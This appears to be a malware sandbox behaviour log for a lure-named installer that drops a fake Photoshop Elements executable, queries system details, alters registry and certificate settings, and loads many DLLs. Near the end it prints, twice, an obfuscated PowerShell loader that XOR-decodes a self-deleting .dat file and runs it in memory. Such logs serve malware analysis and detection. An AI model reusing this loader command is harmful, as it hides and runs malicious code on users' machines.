Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: edgegdi.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: msxml3.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exeSection loaded: edgegdi.dll
Source: C:\Windows\System32\svchost.exeSection loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exeSection loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exeSection loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exeSection loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exeSection loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exeSection loaded: esent.dll
Source: C:\Windows\System32\svchost.exeSection loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exeSection loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exeSection loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dll
Source: C:\Windows\System32\svchost.exeSection loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dll
Source: C:\Windows\System32\svchost.exeSection loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exeSection loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exeSection loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exeSection loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exeSection loaded: upnp.dll
Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exeSection loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dll
Source: C:\Windows\System32\svchost.exeSection loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exeSection loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exeSection loaded: miutils.dll
Source: C:\Windows\System32\svchost.exeSection loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exeSection loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exeSection loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exeSection loaded: mi.dll
Source: C:\Windows\System32\svchost.exeSection loaded: userenv.dll
Source: C:\Windows\System32\svchost.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exeSection loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dll
Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exeSection loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exeSection loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exeSection loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exeSection loaded: webio.dll
Source: C:\Windows\System32\svchost.exeSection loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exeSection loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exeSection loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exeSection loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exeSection loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exeSection loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exeSection loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exeSection loaded: propsys.dll
Source: C:\Windows\System32\svchost.exeSection loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exeSection loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exeSection loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exeSection loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exeSection loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exeSection loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exeSection loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exeSection loaded: samcli.dll
Source: C:\Windows\System32\svchost.exeSection loaded: samlib.dll
Source: C:\Windows\System32\svchost.exeSection loaded: es.dll
Source: C:\Windows\System32\svchost.exeSection loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{5E5F29CE-E0A8-49D3-AF32-7A7BDC173478}\InProcServer32Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwnerJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpWindow found: window name: TNewButtonJump to behavior
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Program Files\Google\Chrome\Application\chrome.exeDirectory created: C:\Program Files\scoped_dir3400_144098294
Source: C:\Program Files\Google\Chrome\Application\chrome.exeDirectory created: C:\Program Files\chrome_BITS_3400_1125630203
Source: C:\Windows\System32\svchost.exeDirectory created: C:\Program Files\chrome_BITS_3400_1125630203\BITF2FC.tmp
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeStatic file information: File size 321527232 > 1048576
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeStatic PE information: section name: .didata
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp.0.drStatic PE information: section name: .didata
Source: initial sampleStatic PE information: section name: UPX0
Source: initial sampleStatic PE information: section name: UPX1
Source: initial sampleStatic PE information: section name: UPX0
Source: initial sampleStatic PE information: section name: UPX1
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpFile created: C:\Users\user\AppData\Local\Temp\PhotoshopElements_2024_LS30_win64.exeJump to dropped file
Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeFile created: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpFile created: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\_isetup\_setup64.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpFile created: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile created: C:\Users\user\AppData\Local\Temp\CreativeCloud\ACC\AdobeDownload\HDInstaller.log
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4 Blob
Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: 5E30000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: 6300000 memory commit | memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: 6480000 memory commit | memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: 64A0000 memory commit | memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: 6810000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: 9D90000 memory commit | memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: 9DE0000 memory commit | memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: 9E30000 memory commit | memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: 9E10000 memory commit | memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: AE90000 memory commit | memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: AEF0000 memory commit | memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: AF10000 memory commit | memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: AF30000 memory commit | memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: AF90000 memory commit | memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: AFF0000 memory commit | memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: B010000 memory commit | memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: B030000 memory commit | memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: B050000 memory commit | memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: B0E0000 memory commit | memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: B110000 memory commit | memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: B130000 memory commit | memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: B150000 memory commit | memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: B170000 memory commit | memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: B190000 memory commit | memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: B500000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: B8B0000 memory commit | memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: BA10000 memory commit | memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: BA50000 memory commit | memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: BA70000 memory commit | memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: BAB0000 memory commit | memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: BAF0000 memory commit | memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: BB10000 memory commit | memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: BD30000 memory commit | memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: BD50000 memory commit | memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: C530000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: DF50000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeWindow / User API: threadDelayed 493
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\_isetup\_setup64.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe TID: 1864Thread sleep time: -120000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6784Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile opened: PhysicalDrive0
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystemProduct
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystemProduct
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile opened: C:\Users\user
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile opened: C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile opened: C:\Users\user\AppData\Local
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile opened: C:\Users\user\AppData\Local\Temp
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile opened: C:\Users\user\AppData
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile opened: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeProcess information queried: ProcessInformation
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMemory allocated: page read and write | page guard
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -COMMAND "IEX([TExt.EnCODING]::Utf8.gETsTrINg((({$f=[iO.fIle]::reAdAllBYTes($aRgS[0]);(rm $aRgS[0]);REturN $F}.InVOKe('C:\usErs\user\aPPdata\LocaL\TeMP\iS-khiOg.TMP\..\A88942a46582B71Dbf2e1eacF7Cbc7f9.dat'))|%{$_ -BXOr 'yXAwMfFaZxzDOHKgIEqrlQjtoJuBNSWc'[$K++%32]})))"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpProcess created: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe "C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeProcess created: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe "C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe" --pipename={7AA9B349-E76F-4F7B-A84C-34DE83BEAAE8} --edtWorkFlow=1
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ims-na1.adobelogin.com/ims/authorize?client_id=CC_HD_ESD_WEB&scope=allow_ac_dt_exchange%2Copenid%2CAdobeID%2Ccreative_cloud%2Ccreative_sdk%2Cread_organizations%2Csao.cce_private%2Cadditional_info.account_type&locale=en_US&redirect_uri=https%3A%2F%2Fauth.services.adobe.com%2Fen_US%2Fdeeplink.html%3Fdelegated_request_id%3D6fc10679-ad49-4742-b3b1-ec5d2abadd12%26client_id%3DCC_HD_ESD_WEB%26deeplink%3Ddelegation
Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeProcess created: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp "c:\users\user\appdata\local\temp\is-96m8k.tmp\must-school-districts-in-california-offer-free-healthcare-for-employees.tmp" /sl5="$20408,320672528,821248,c:\users\user\desktop\must-school-districts-in-california-offer-free-healthcare-for-employees.exe"
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "iex([text.encoding]::utf8.getstring((({$f=[io.file]::readallbytes($args[0]);(rm $args[0]);return $f}.invoke('c:\users\user\appdata\local\temp\is-khiog.tmp\..\a88942a46582b71dbf2e1eacf7cbc7f9.dat'))|%{$_ -bxor 'yxawmffazxzdohkgieqrlqjtojubnswc'[$k++%32]})))"
